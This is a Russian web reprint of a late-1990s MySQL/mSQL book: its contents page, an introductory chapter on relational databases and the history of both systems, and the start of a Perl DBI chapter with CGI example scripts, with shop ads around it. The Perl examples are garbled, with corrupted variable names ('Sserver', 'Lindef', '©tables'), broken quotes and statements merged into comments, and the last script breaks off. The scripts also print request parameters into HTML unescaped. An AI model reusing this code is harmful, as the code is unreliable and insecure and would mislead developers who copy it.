Оглавление

Поиск книг в интернет магазине Болеро

Поиск DVD в интернет магазине DVD DOM
Внимание! Money-Hunting.Ru - Интересная Online Игра с Денежными Призами.

MySQL и mSQL

Содержание

    • Предисловие
  • Часть I. Начинаем изучение MySQL и mSQI
    • Глава 1. Введение в реляционные базы данных
    • Глава 2. Проектирование баз данных
    • Глава 3. Установка
    • Глава 4. MySQL
    • Глава 5. mSQL
    • Глава 6. Диалект SQL, используемый в MySQL и mSQL
    • Глава 7. Другие СУБД среднего масштаба
  • Часть II. Программирование баз данных
    • Глава 8. Архитектуры приложений для работы с базами данных
    • Глава 9. Программирование с использованием CGI
    • Глава 10. Perl
    • Глава 11. Python
    • Глава 12. РНР и другие средства поддержки HTML, управляемого базами данных
    • Глава 13. С и C++
    • Глава 14. Java и JDBC
  • Часть III. Справочник
    • Глава 15. Справочник по SQL
    • Глава 16. Системные переменные MySQL и mSQL
    • Глава 17. Программы и утилиты MySQL и mSQL
    • Глава 18. Справочник по РНР и Lite
    • Глава 19. Справочник С
    • Глава 20. Справочник по Python
    • Глава 21. Справочник по Perl
    • Глава 22. Справочник по JDBC

Болеро
Видео, Музыка, Программы, Игрушки, Книги, Подарки. Доставка курьером, почтой.

Digita.ru
Интернет-Магазин:
Современная Аудио- и Видеотехника.

Gimi.Ru:
бытовая техника, посуда, увлажнители и ионизаторы воздуха, эпиляторы, электро- и гидромассажеры

Porta.Ru
Цифровое Аудио, Фото и Видео, Компьютеры и Связь, Часы, Переводчики и др.


  • Часть I. Начинаем изучение MySQL и mSQI
    • Глава №1. Введение в реляционные базы данных
      • Что такое база данных?
      • Что такое реляционная база данных?
      • Приложения и базы данных
      • MySQL и mSQL

Часть I.

Начинаем изучение MySQL и mSQL

Первая часть этой книги познакомит вас с понятием и архитектурой реляционной базы данных. Мы углубляемся здесь в детали самых первых шагов изучения MySQL и mSQL. Возможно, вы уже имеете опыт общения с одним из этих великолепных программных продуктов и ждете, что книга станет вашим помощником в работе. Если это так, вы можете просто сосредоточиться на выбранном вами продукте и не отвлекаться на остальные. С другой стороны, если вы еще не сделали свой выбор, этот раздел расскажет вам об особенностях MySQL и mSQL, дабы вы не ошиблись в выборе. К концу этой части, после благополучной установки и конфигурирования вашей базы данных, вы будете готовы к подробному изучению программирования баз данных, которому мы посвятили вторую часть нашей книги.

Глава №1.

Введение в реляционные базы данных

Большие корпоративные вычислительные центры в течение многих лет используют сложные и дорогие программные продукты для работы с базами данных. Использование этих обладающих полным набором возможностей и тщательно оптимизированных программных систем является единственным способом управления теми объемами корпоративной информации, которые существуют в больших компаниях.

Традиционно пользователи домашних компьютеров вообще не нуждались в базах данных. Они хранят свои данные - адреса, списки дел и т. д. - в маленьких файлах или специализированных покупных программах, вроде электронных таблиц или телефонных справочников.

Но появилась новая категория пользователей компьютеров, находящихся между двумя этими крайностями. Они поддерживают информационные массивы средних размеров, которые требуются в небольших организациях, таких как вновь образовавшиеся предприятия и некоммерческие организации. Иногда эти пользователи не столько малы, сколько являются территориально самостоятельными частями более крупной компании, либо этими новыми пользователями являются просто частные лица, заинтересованные в поддержке сложных, но частных данных, таких, например, как перечень песен любимых ансамблей, который можно выложить на персональную страницу в Интернет. Если вы тот человек, которому нужна база данных, готовый немного потрудиться, чтобы установить ее, и не хотите тратить шестизначные суммы на программный продукт вкупе с отрядом поддерживающих его программистов, то эта книга - для вас.

Эта книга вводит вас в мир разработки малых баз данных с помощью двух популярных продуктов, MySQL и mSQL. Мы начнем с введения в реляционные базы данных и проектирование приложений в реляцион-

ном мире. Если у вас есть опыт работы с реляционными базами данных и их проектированием, вы можете сразу перейти к главе 4, «MySQL» или главе 5, «mSQL», где мы углубляемся в детали практической работы с MySQL и mSQL. Но, если вы собираетесь это сделать, обратите внимание, что в конце данной главы мы приводим краткое введение и сравнение основных возможностей этих продуктов. В оставшейся части книги в основном излагается применение MySQL и mSQL для создания и поддержки того типа приложений, которые важны для таких пользователей, как вы.

Что такое база данных?

База данных - это, попросту говоря, собрание данных. Примером неэлектронной базы данных является общественная библиотека. В библиотеке хранятся книги, периодические издания и прочие документы. Когда нужно отыскать в библиотеке какие-либо данные, вы просматриваете каталог либо указатель периодики или даже справляетесь у библиотекаря. Другой пример - неупорядоченная стопка бумаг, которая может находиться у вас на столе. Когда нужно что-то найти, вы роетесь в этой кипе, пока не найдете нужный листок. Эта база данных может работать (или нет), поскольку ее размер крайне мал. Стопка бумаг, несомненно, будет неэффективна для большого объема данных, такого, например, как библиотечное собрание. Библиотека без картотеки, индекса периодики и библиотекаря останется базой данных, только ей нельзя будет пользоваться. Поэтому, чтобы библиотека имела какую-то ценность, она должна быть организована каким-либо способом. Вашей стопкой бумаг можно было бы пользоваться более уверенно при наличии упорядоченной системы их хранения (тогда, возможно, вы не потеряли бы тот телефонный номер!). Поэтому, уточняя наше определение, мы скажем, что база данных - организованное собрание данных.

У библиотеки и стопки бумаг много сходства. Та и другая являются базами данных, состоящими из документов. Нет никакого смысла, однако, соединять их вместе, поскольку ваши документы интересны только вам, а библиотека содержит документы, представляющие общий интерес. Каждая из баз данных отвечает определенному назначению и организована в соответствии с этим назначением. Поэтому мы еще несколько улучшим наше определение: база данных есть собрание данных, которые организованы и хранятся в соответствии с некоторым назначением.

У традиционных бумажных баз данных много недостатков. Им требуется огромное физическое пространство. Библиотеки занимают целые

здания, и поиск в них осуществляется относительно медленно. Каждый работавший в библиотеке знает, что для поиска порой требуется немало времени. Библиотеки также утомительно содержать в порядке, и для поддержания соответствия содержимого полок и каталогов требуется чрезмерно много времени. Хранение базы данных в электронном виде помогает решать эти вопросы.

MySQL и mSQL не являются базами данных. Фактически они являются компьютерными программами, позволяющими пользователю создавать, поддерживать базы данных и управлять ими. Такой тип программного обеспечения известен как Системы управления базами данных (СУБД). СУБД действует как посредник между физической базой данных и ее пользователями.

Когда вы впервые начинали работать с данными в электронной форме, вы почти наверняка использовали плоский файл. Файл файловой системы является электронной версией стопки бумаг на вашем столе. Вероятно, вы пришли к заключению, что этот тип специальной электронной базы больше не отвечает вашим потребностям. СУБД является следующим логическим шагом для удовлетворения ваших потребностей при хранении информации, и MySQL и mSQL являются первыми шагами в мир систем управления реляционными базами данных.

Что такое реляционная база данных?

Согласно нашему определению, база данных является организованным собранием данных. Реляционная база данных организует данные в таблицы. Вероятно, проще проиллюстрировать понятие таблицы, чем пытаться объяснить его. Таблица 1-1 является примером таблицы, которая может появиться в базе данных по книгам.

Таблица 1-1. Таблица книг

ISBN | Название | Автор
0-446-67424-9 0-201-54239-Х 0-87685-086-7 0-941423-38-7 | L.A. Confidential An Introduction to Database Systems Post Office The Man with the Golden Arm | James Ellroy C.J. Date Charles Bukowski Nelson Algren

В таблице 1-2 и таблице 1-3 показаны две таблицы, которые могут появиться в базе данных Национальной Баскетбольной Ассоциации.

Таблица 1-2. Таблица команд НБА

№ команды | Название | Тренер
1 | Golden State Warriors | P.J. Carlesimo
2 | Minnesota Timberwolves | Flip Saunders
3 | L.A. Lakers | Kurt Rambis
4 | Indiana Pacers | Larry Bird

Таблица 1-3. Таблица игроков НБА

Имя | Положение | № команды
Rik Smits | Центровой | 4
Kevin Garnett | Нападающий | 2
Kobe Bryant | Защитник | 3
Reggie Miller | Защитник | 4
Stephen Marbury | Защитник | 2
Shaquille O'Neal | Центровой | 3

Позже мы разберемся в специфике таблиц, а пока обратите внимание на некоторые особенности этих примеров. У каждой таблицы есть название, несколько колонок и строки, содержащие данные в каждой из этих колонок. Реляционная база данных представляет все ваши данные в таких таблицах, как эти, и обеспечивает операции извлечения, генерирующие новые таблицы из уже имеющихся. В результате пользователь видит всю базу данных в виде таблиц.

СУБД для реляционной базы данных часто называется Реляционной системой управления базами данных (РСУБД). MySQL и mSQL являются примерами РСУБД.

Какое отношение ко всему этому имеет SQL? Нам необходимо иметь некий способ взаимодействия с базой данных. Нужно определять таблицы, а также извлекать, добавлять, обновлять и удалять данные. SQL (Structured Query Language - язык структурированных запросов) является компьютерным языком, используемым для выражения операций с базой данных, организованной в реляционной форме (то есть в виде таблиц). SQL является принятым в отрасли стандартом языка, на котором говорит большинство программистов баз данных и который используется большинством пакетов РСУБД. Как следует из их названий, механизм работы с MySQL и mSQL основан на SQL. Из-за своей простоты, однако, они поддерживают лишь подмножество современного стандарта SQL - SQL2. Мы обсудим, в чем именно состоит отличие поддерживаемого MySQL и mSQL диалекта SQL от стандарта, в последующих главах.

Приложения и базы данных

Согласно нашему определению, база данных есть организованное собрание данных, служащее определенной цели. Простого наличия СУБД недостаточно, чтобы у вашей базы данных появилось назначение. Назначение определяется тем, как вы используете свои данные. Представьте себе библиотеку, в которой никто никогда не читает книги. Будет немного смысла в хранении и организации всех этих книг, если они никогда не используются. Теперь представьте себе библиотеку, в которой нельзя поменять книги или добавить новые. Полезность библиотеки как базы данных будет со временем уменьшаться, поскольку невозможно заменить устаревшие книги и добавить новые. Короче, библиотека существует для того, чтобы люди могли читать книги и находить нужную им информацию.

Базы данных существуют для того, чтобы люди могли с ними взаимодействовать. В случае электронных баз данных взаимодействие происходит не непосредственно с базой данных, а косвенно — с помощью программного обеспечения. До появления Всемирной паутины (World Wide Web) базы данных обычно использовались большими корпорациями для поддержки различных деловых функций - бухгалтерии и финансов, контроля поставок и складского учета, планирования производства, учета персонала и т. п. Интернет и более сложные задачи домашних вычислений содействовали перемещению потребностей в использовании баз данных за пределы больших корпораций.

Базы данных и WWW

Область, в которой развитие баз данных имело особо взрывной характер, и где отличились MySQL и mSQL, - это разработка приложений для Интернет. По мере роста спроса на все более сложные и надежные приложения для Интернет растет и спрос на базы данных. База данных сервера может поддерживать многие важные функции в Интернет. Фактически, любое содержание веб-страниц может управляться базой данных.

Рассмотрим в качестве примера торговца по каталогу, который хочет опубликовать свой каталог в WWW и принимать заказы через Интернет. Если опубликовать каталог в виде HTML-файла, то кому-то придется вручную редактировать каталог всякий раз, когда добавляется новый товар или изменяется цена. Если же вместо этого держать данные каталога в реляционной базе данных, то становится возможной публикация изменений в каталоге в реальном масштабе времени путем простого изменения в базе данных сведений о товаре и цене. Становится также возможной интеграция каталога с имеющимися системами электронной обработки заказов. Таким образом, использование базы данных для управления таким веб-сайтом дает очевидные преимущества как продавцу, так и покупателю.

Вот как веб-страница обычно взаимодействует с базой данных. База данных находится на вашем веб-сервере или другой машине, с которой ваш сервер может обмениваться данными (хорошая СУБД позволяет легко организовать такое распределение обязанностей). Вы помещаете на веб-страницу форму, в которую пользователь вводит свой запрос или данные, которые нужно передать. После передачи формы на сервер последний запускает написанную вами программу, которая

извлекает переданные пользователем данные. Эти программы чаще всего делаются в виде CGI-сценариев или серверных приложений на Java, но возможно также встраивание программы прямо в HTML-страницу. Все эти методы мы рассмотрим в нашей книге.

Теперь ваша программа знает, какие данные нужны пользователю или что он хочет внести в базу данных. Программа формирует команду SQL для выборки или изменения данных, а база данных чудесным образом делает все остальное. Результаты, получаемые от базы данных, ваша программа может оформить в виде новой HTML-страницы и отправить обратно пользователю.

MySQL и mSQL

MySQL и mSQL - очень схожие, дешевые, компактные и быстрые базы данных. В этой книге описаны обе эти базы данных, что связано с их крайним сходством. Однако между ними есть и очень важные различия, о которых мы также обязательно расскажем. Обе системы поддерживают программирование на С, Perl, Java (через API Java DataBase Connectivity - JDBC) и Python. Благодаря инструментальным средствам, которые MySQL и mSQL предоставляют для этих языков, можно создавать полноценные клиент-серверные приложения и интегрированные с базами данных веб-сайты, не тратя на это состояния. Это приятное известие для маленьких фирм, публикующих данные в Интернет, и всех тех, кто разрабатывает небольшие клиент-серверные приложения и не может позволить себе приобрести коммерческие продукты.

Дешевизна, а в некоторых случаях бесплатность, MySQL и mSQL не дается даром. Ни одна из этих СУБД полностью не поддерживает SQL. В них отсутствуют некоторые возможности, которые могут понадобиться при создании более сложных приложений. В некоторых случаях приходится также несколько больше потрудиться, разрабатывая клиентскую часть, чтобы достичь того, что дорогие базы данных предоставили бы вам даром. Однако мы научим вас, как делать переносимые приложения MySQL и mSQL, чтобы вы попробовали использовать какие-либо базы данных с более мощными внутренними механизмами, если это вам понадобится, и вам не пришлось бы переписывать весь код, чтобы перейти на большую базу данных. Для понимания того, что же могут предложить эти две СУБД, лучше всего кратко рассмотреть их историю.

История mSQL

До 1994 года вам не удалось бы обзавестись РСУБД с поддержкой SQL, не потратив при этом изрядной суммы денег. На рынке тогда доминировали Oracle, Sybase и Informix. Эти системы управления базами данных были разработаны для обработки огромных объемов данных с очень сложными взаимосвязями. Они были мощными, обладали множеством возможностей, а также требовали больших вычислительных ресурсов и были дороги. В те времена еще нельзя было за $2000 купить сервер с 200-MHz Pentium. Ресурсы, требуемые для этих СУБД, стоили десятки тысяч долларов.

У больших корпораций и крупных университетов не возникало проблем с тем, чтобы потратить за год несколько миллионов долларов на такие комплекты серверов и СУБД. Малым организациям и частным пользователям приходилось довольствоваться слабыми настольными приложениями. Несколько дешевых СУБД с архитектурой клиент/ сервер в то время существовало, но ни в одной из них не использовался SQL в качестве языка запросов. Наиболее примечательной из них была Postgres, имевшая общее происхождение с коммерческой базой данных Ingres. К несчастью, Postgres требовала примерно тех же ресурсов, что и ее коммерческие аналоги, не давая преимущества использования SQL в качестве языка запросов. В то время в Postgres использовалась разновидность языка QUEL, называвшаяся PostQUEL.

Дэвид Хьюз

Часть диссертации, которую Давид Хьюз (David Hughes) (известный также как Bamby) писал в Университете Бонд в Австралии, была посвящена разработке системы мониторинга и управления группой систем из одного или нескольких мест. Проект носил название Minerva Network Management System. Главным элементом Minerva была база данных для хранения данных обо всех компьютерах в сети. Будучи студентом университета и не имея доступа к серверам, на которых работали большие коммерческие базы данных, Хьюз решил, что Postgres - это очевидное решение, вполне отвечающее его потребностям.

Его коллеги предложили сделать SQL стандартным языком запросов для Minerva. В конце концов, SQL был и остается самым общепринятым стандартом языка запросов. Основываясь на SQL, Minerva могла бы использоваться в любой точке света, где установлена поддерживающая SQL СУБД. Иными словами, SQL предоставлял возможности Minerva гораздо более широкому кругу пользователей, нежели PostQUEL, ограничивавший его пользователями Postgres. В конечном итоге оказалось, что сегодня даже Postgres поддерживает SQL.

Желание пользоваться стандартом SQL, с одной стороны, и отсутствие доступа к базе данных, поддерживающей SQL, - с другой, поставили Хьюза в трудное положение. Если использовать в Minerva язык запросов, основанный на SQL, то не удастся найти СУБД с соответствующим механизмом работы. Не имея возможности приобрести дорогую РСУБД, Хьюз нашел творческое решение проблемы: выход в том, чтобы создать программу, «на лету» транслирующую запросы SQL в запросы PostQUEL. Такая программа должна была перехватывать все

посылаемые Minerva предложения SQL, преобразовывать их в PostQUEL и результат пересылать дальше в Postgres. Хьюз написал такую программу и назвал ее miniSQL, или mSQL.

От транслятора PostQUEL к РСУБД

В течение некоторого времени такая конфигурация удовлетворяла потребности Хьюза. Для Minerva было безразлично, какая СУБД используется, если только она понимает SQL, и она считала, что Postgres понимает SQL, поскольку в середине находился mSQL, производивший трансляцию в PostQUEL. К несчастью, по мере роста Minerva ее работа стала значительно замедляться. Стало ясно, что ни Postgres, ни другая большая РСУБД не смогут поддерживать тот небольшой набор возможностей, который требовался для Minerva, на тех ограниченных ресурсах, которые были ей доступны. Например, для Minerva требовалось одновременное подключение к нескольким базам данных. Для поддержки этого Postgres требовал одновременного запуска нескольких экземпляров* сервера базы данных. Кроме того, несколько потенциальных участников проекта не могли принять в нем участие, поскольку Postgres не поддерживал их системы, а они не могли позволить себе купить дорогую СУБД с поддержкой SQL.

Оказавшись перед лицом этих проблем, Хьюз пересмотрел свое отношение к Postgres. По своим размерам и сложности она, возможно, превышала потребности Minerva. Большинство запросов, генерируемых Minerva, представляли собой простые операторы INSERT, DELETE и SELECT. Все остальные возможности, имевшиеся в Postgres и снижавшие производительность, просто не требовались для Minerva.

У Хьюза уже был mSQL, осуществлявший трансляцию SQL. Ему требовалось только добавить хранилище данных и возможности извлечения данных, чтобы получить сервер базы данных, удовлетворявший его потребности. Эта эволюция привела к существующему на сегодняшний день mSQL.

История MySQL

Было бы ошибкой рассматривать MySQL просто как ответ на недостатки mSQL. Ее изобретатель Майкл Видениус (известный также как Monty) из шведской компании ТсХ работает с базами данных с 1979 г. До недавнего времени Видениус был в ТсХ только разработчиком. В 1979 г. он разработал для внутрифирменного использования средство управления базами данных под названием UNIREG. После 1979 года UNIREG была переписана на нескольких разных языках и расширена для поддержки больших баз данных.

Каждый из процессов, в котором выполняется одна и та же-программа, называется экземпляром этой программы, поскольку он занимает память точно так же, как экземпляр переменной занимает память программы.

В 1994 г. ТсХ стала разрабатывать приложения для WWW, используя для поддержки этого проекта UNIREG. К несчастью, UNIREG из-за больших накладных расходов не могла успешно использоваться для динамической генерации веб-страниц. И ТсХ начала присматриваться к SQL и mSQL. В то время, однако, mSQL существовала только в виде релизов 1.x. Как мы уже говорили, версии mSQL 1.x не поддерживали никаких индексов и поэтому по производительности уступали UNIREG.

Видениус связался с Хьюзом, автором mSQL, чтобы узнать, не заинтересуется ли тот подключением mSQL к обработчику В+ ISAM в UNIREG. Хьюз, однако, к тому времени уже далеко продвинулся на пути к mSQL 2 и создал средства для работы с индексами. ТсХ решила создать сервер баз данных, более соответствующий ее нуждам.

В ТсХ работали неглупые люди, которые не стали изобретать велосипед. Они взяли за основу UNIREG и использовали утилиты сторонних разработчиков для mSQL, число которых все увеличивалось, написав для своей системы API, который, по крайней мере первоначально, почти совпадал с API для mSQL. В результате любой пользователь mSQL, желавший перейти на более богатый возможностями сервер баз данных ТсХ, должен был внести в свой код очень незначительные изменения. Тем не менее исходный код новой базы данных был полностью оригинальным.

К маю 1995 г. у ТсХ имелась база данных, удовлетворявшая внутренние потребности компании, - MySQL 1.0. Бизнес-партнер фирмы Давид Аксмарк (David Axmark) из Detron HB стал убеждать ТсХ представить свой сервер в Интернет. Цель представления сервера в Интернет -использование бизнес-модели, пионером которой был Аладдин Петер Дейч (Aladdin Peter Deutsch). Результатом стали очень гибкие авторские права, которые делают MySQL «более бесплатной», чем mSQL.

Что касается названия, то Видениус говорит об этом так: «До конца не ясно, откуда идет название MySQL. В ТсХ базовый каталог, а также значительное число библиотек и утилит в течение десятка лет имели префикс «mу». Вместе с тем мою дочь (на несколько лет младше) тоже зовут Май (My). Поэтому остается тайной, какой из двух источников дал название MySQL».

С момента публикации MySQL в Интернет она перенесена на многие UNIX-системы, под Win32 и OS/2. ТсХ считает, что MySQL использует около 500 000 серверов.

Основные изменения, внесенные в текущую рекомендованную версию 3.22:

  • Усиленная защита.
  • Ускорение соединений, анализа запросов SQL и улучшенный оптимизатор запросов.
  • Поддержка большего числа операционных систем.
  • INSERT DELAYED.
  • Команды GRANT и REVOKE.
  • CREATE INDEX и DROP INDEX.
  • Уровни блокировки HIGH_PRIORITY и LOW_PRIORITY для операторов SELECT, INSERT, UPDATE и DELETE.
  • Новая команда FLUSH, применимая к TABLES, HOSTS, LOGS и PRIVILEGES.
  • Новая команда KILL в SQL, действующая, как kill в Unix или msqladmin.
  • Поддержка выражений в предложении НAVIN G.
  • Сжатие протокола клиент/сервер.
  • Сохранение параметров программы по умолчанию в файлах my.cnf. Основные изменения в разрабатываемой версии 3.23:
  • Таблицы, переносимые напрямую между различными ОС и ЦП.
  • Временные таблицы и таблицы HEAP, хранимые только в ОЗУ.
  • Поддержка больших файлов (63 бит) на операционных системах, которые их поддерживают.
  • Подлинные поля чисел с плавающей точкой.
  • Комментарии к таблицам.
  • Шаблон процедуры ANALYSE().
  • Функции, определяемые пользователем.
  • Значительное ускорение обработки SELECT DISTINCT.
  • COUNT(DISTINCT).

Дальнейшие усовершенствования, запланированные в 3.23, включают в себя поддержку вложенных операторов SELECT и поддержку репликации баз данных, обеспечивающей распределение нагрузки между несколькими серверами и восстановление в случае аппаратных сбоев.

MySQL является очень быстро развивающейся платформой баз данных благодаря существованию армии добровольцев-программистов, помогающих строить ее дальше на крепком основании. Поэтому не следует удивляться, если что-либо, верное в момент написания этой главы, больше не соответствует действительности.

MySQL или mSQL?

Конечно, мы еще не дали вам сведений, достаточных для принятия решения. Чтобы полностью оценить существующие на сегодняшний день различия между двумя продуктами, необходимо прочесть эту книгу и понять тонкости, представленные нами здесь. На первый взгляд кажется несомненным, что предпочтение следует отдать MySQL. mSQL с течением времени отстала и сейчас уступает в скорости работы. Дэвид Хьюз неудовлетворен и работает над версией 2.1, в которой должны быть устранены многие нынешние недостатки. А в это же время MySQL движется вперед со скоростью света.

Выбор mSQL может быть продиктован имеющимся у вас инструментарием. Поскольку mSQL существует дольше, вам может оказаться легче найти инструмент, отвечающий вашим специфическим потребностям. К примеру, в момент написания этой книги только для mSQL имелся драйвер JDBC, соответствующий JDBC 2.0. Конечно, положение изменится к тому времени, когда вы прочтете книгу. Тем не менее при выборе базы данных следует руководствоваться соображениями такого типа.

Независимо от того, какую базу данных вы выберете, вы окажетесь в выигрыше. Обе эти базы данных обеспечат большее быстродействие, чем при любом другом выборе. Для объективного сравнения этих баз данных друг с другом и другими продуктами рекомендуем посетить страницу http://www.mysql.com/crash-me-choose.htmy . Она находится на домашней странице MySQL, но представленные на ней критерии можно свободно проверить, а сама страница сделана очень хорошо.

Болеро
Видео, Музыка, Программы, Игрушки, Книги, Подарки. Доставка курьером, почтой.

Digita.ru
Интернет-Магазин:
Современная Аудио- и Видеотехника.

Gimi.Ru:
бытовая техника, посуда, увлажнители и ионизаторы воздуха, эпиляторы, электро- и гидромассажеры

Porta.Ru
Цифровое Аудио, Фото и Видео, Компьютеры и Связь, Часы, Переводчики и др.


  • Глава №10. Perl
    • DBI
    • Пример приложения, использующего DBI
    • Msql.pm
    • MysqlPerl

Глава №10.

Perl

Язык программирования Perl превратился из инструмента, используемого преимущественно администраторами Unix-систем, в наиболее распространенную платформу разработки для World Wide Web. Perl не предназначался изначально для Web, но простота его использования и мощные функции для работы с текстом сделали естественным его применение для CGI-программирования. Сходным образом, когда mSQL впервые появилась на сцене, исключительные компактность и скорость выполнения сделали ее очень привлекательной для разработчиков Web, которым требовалось обслуживать ежедневно тысячи операций. MySQL со своей высокой скоростью и расширенными возможностями стала еще более привлекательным средством для веб-разработчиков. Естественно поэтому, что был разработан интерфейс Perl к обеим базам - MySQL и mSQL, - объединив таким образом их достоинства.

В то время, когда пишется эта книга, существуют два интерфейса между Perl и MySQL с mSQL. Более ранний состоит из специализированных интерфейсов Myaql.pm и Msql.pm, которые работают только с MySQL и mSQL соответственно. Другой, более новый интерфейс является подключаемым модулем в комплекте DBI (DataBase Independent) - независимых от базы данных модулей. DBI является попыткой обеспечить общий Perl API для доступа к любым базам данных и предоставления более высокой переносимости. Интерфейс DBI стал наиболее надежным и стандартным, и разработчики MySQL рекомендуют пользоваться только DBI, поскольку дальнейшая разработка модулей Mysql.pm и Msql.pm прекращена. Однако многие унаследованные системы все еще используют их, поэтому мы расскажем здесь и о них.

DBI

Рекомендуемым методом доступа к базам данных MySQL и mSQL из Perl является интерфейс DBD/DBI. DBD/DBI означает DataBase Dependent/DataBase Independent (Зависимый от базы данных/Независимый от базы данных). Название связано с двухъярусной реализацией интерфейса. В нижнем ярусе находится зависимый от базы данных уровень. На нем существуют свои модули для каждого типа базы данных, доступного из Perl. Поверх этого уровня находится независимый от базы данных уровень. Это тот интерфейс, которым вы пользуетесь при доступе к базе данных. Выгода такой схемы в том, что программисту нужно знать только один API уровня независимости от базы данных. Когда появляется новая база данных, кому-нибудь нужно лишь написать для нее модуль DBD (зависимый), и она станет доступна всем программистам, использующим DBD/DBI.

Как и в любом модуле Perl, для получения доступа нужно указать DBI в директиве use:

#!/usr/bin/perl -w

use strict;

use CGI qw(:standard);

use DBI;

При запуске программ Perl для MySQL/mSQL следует всегда задавать аргумент командной строки -w. Благодаря этому DBI будет перенаправлять все специфические для MySQL и mSQL сообщения об ошибках на STDERR, и вы сможете увидеть ошибки, вызванные работой с базой данных, не прибегая к явной проверке их в программе.

Всякое взаимодействие между Perl, с одной стороны, и MySQL и mSQL - с другой, производится с помощью объекта, известного как описатель базы данных (handle). Описатель базы данных (database handle) - это объект, представленный в Perl как скалярная ссылка и реализующий все методы, используемые для связи с базой данных. Одновременно можно открыть любое число описателей базы данных, ограничение накладывают только ресурсы системы. Метод connect() использует для создания описателя формат соединения DBI:servertype:database:hostname:port (имя узла и порта необязательны), дополнительными аргументами служат имя пользователя и пароль:

my $dbh = DBI->connect( 'DBI:mysql:mydata ', undef, Lindef);

my $dbh = DBI->connect( 'DBI:mSQL:mydata:myserver', undef, undef);

my $dbh = DBI->connect( 'DBI:mysql:mydata', 'me', 'mypass")',

Атрибут servertype является именем специфического для базы данных DBD-модуля, в нашем случае «mysql» или «mSQL» (обратите внимание на точное использование регистра). В первом варианте создается соединение с сервером MySQL на локальной машине через сокет Unix. Это наиболее эффективный способ связи с базой данных, который должен использоваться при соединении на локальном сервере. Если указано имя узла, оно используется для соединения с сервером на этом узле через стандартный порт, если только не задан и номер порта. Если при соединении с сервером MySQL вы не указываете имя пользователя и пароль, то пользователь, выполняющий программу, должен обладать достаточными привилегиями в базе данных MySQL. Для баз данных mSQL имя пользователя и пароль не должны указываться.

В Perl 5 используются два соглашения по вызову модулей. В объектно-ориентированном синтаксисе для ссылки на метод определенного класса используется символ стрелки «->» (как в DBI->connect). Другой метод - использование непрямого синтаксиса, в котором за именем метода следует имя класса, а затем - аргументы. В последнем примере метод connect следовало бы записать как connect DBI 'DBI:mysql:mydata', "me', ' mypass . В ранних версиях Msql.pm использовался исключительно непрямой синтаксис, и требовалось придерживаться метода использования заглавных букв, обусловленного mSQL С API. Поэтому значительная часть старого кода MsqlPerl содержит строки типа SelectDB $dbh ' test' там, где можно было бы написать проще: $dbh->selectdb(' test') . Если вы еще не догадались, то сообщаем, что мы неравнодушны к объектно-ориентированному синтаксису, хотя бы потому, что использование стрелки делает ясной связь между классом и методом.

Как только вы соединились с сервером MySQL или mSQL, описатель базы данных - во всех примерах этого раздела $dbh - становится шлюзом к базе данных. Например, так готовится запрос SQL:

$dbh->prepare($query);

При работе с mSQL для одного описателя базы данных можно одновременно выбрать только одну базу данных, это ограничение накладывается сервером mSQL. Однако в любой момент можно сменить текущую базу данных, повторно вызвав connect . При работе с MySQL можно включать в запрос другие базы данных, явно указывая их имена. Кроме того, и в MySQL, и в mSQL при необходимости одновременного доступа к нескольким базам данных можно создать несколько описателей базы данных и использовать их совместно.

В главе 21 «Справочник по Perl», описаны все методы и переменные, содержащиеся как в DBI, так и в Mysql.pm и Msql.pm.

Для иллюстрации использования DBI рассмотрим следующие простые программы. В примере 10-1 datashow.cgi принимает в качестве параметра имя узла; при отсутствии параметра принимается имя «local-host». Затем программа выводит список всех баз данных, имеющихся на этом узле.

Пример 10-1. Программа CGI datashow.cgi показывает все базы данных, имеющиеся на сервере MySQL или mSQL

#!/usr/bin/perl -w

use strict;

use CGI qw( standard);

use CGI::Carp;

# Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

my ($server, $sock, $host);

my $output = new CGI;

$server = param('server') or Sserver = '';

# Подготовить DBD-драйвер для MySQL

my $driver = DBI->install_driver('mysql');

my @databases = $driver->func($server, '_ListDBs');

# Если параметр @databases неопределен, предполагаем,

# что на этом узле не запущен

# сервер MySQL. Однако это может быть вызвано

# другими причинами. Полный текст сообщения об ошибке

# можно получить, проверив $DBI::errmsg.

if (not @databases) {

print header, start_html('title'=>"Данные no Sserver", 'BGCOLOR'=>'white');

print<<END_OF_HTML; <H1>$server</h1>

Ha Sserver , по-видимому, не запущен сервер mSQL. </body></html> END_OF_HTML

exit(0); }

print header, start_html('title'=>" Данные по $host",

'BGCOLOR'=>'white'); print <<END_OF_HTML; <H1>$host</h1>

<P>

Соединение с $host на сокете $sock.

<p>

Базы данных:<br>

<UL>

END_OF_HTML

foreach(@databases) {

print "<LI>$_\n"; }

print <<END_OF_HTML;

</ul>

</body></html>

HTML

exit(0)

В примере 10-2 tableshow.cgi принимает в качестве параметров имя сервера базы данных (по умолчанию «localhost») и имя базы данных на этом сервере. Затем программа показывает все таблицы, имеющиеся в этой базе данных.

Пример 10-2. Программа CGI tableshow.cgi выводит список всех таблиц в базе данных

#!/usr/bin/perl -w

use strict;

use CGI qw(:standard);

use CGI::Carp;

# Использовать модуль Msql.pm use DBI; CGI::use_named_parameters(1);

my ($db);

my $output = new CGI;

$db = param('db')'or die("He указана база данных!");

# Connect to the requested server.

my $dbh = DBI->connect("DBI:mysql:$db;$server", undef, undef);

# Если не существует $dbh, значит, попытка соединения с сервером

# базы данных не удалась. Возможно, сервер не запущен,

# или не существует указанной базы данных, if (not $dbh) {

print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white');

print <<END_OF_HTML; <H1>$host</h1> <H2>$db</h2>

Попытка соединения не удалась по следующей причине:<BR> $DBI::errstr

</body></html>

END_OF_HTML

exit(0); }

print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white'); print <<END_OF_HTML; <H1>$host</h1> <H2>$db</h2>

<р>

Таблицы:<br>

<UL>

END_OF_HTML

# $dbh->listtable возвращает массив таблиц,

# имеющихся в текущей базе данных.

my ©tables = $dbh->func( '_ListTables' );

foreach (@tables) {

print "<LI>$_\n"; }

print <<END_OF_HTML; </ul>

</body></html> END_OF_HTML

exit(0);

И наконец, пример 10-3 показывает, как вывести все сведения о некоторой таблице.

Пример 10-3. Программа CGI tabledump.cgi выводит сведения об указанной таблице

#!/usr/bin/perl -w

use strict;

use CGI qw(:standard);

use CGI::Carp;

# Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

my ($db,Stable);

my Soutput = new CGI;

$server = param('server') or $server = ";

$db = param('db') or die("He указана база данных !");

# Соединиться с указанным сервером.

my $dbh = DBI->connect("DBI:mysql:$db:$server", undef, undef);

# Готовим запрос к серверу, требующий все данные

# таблицы.

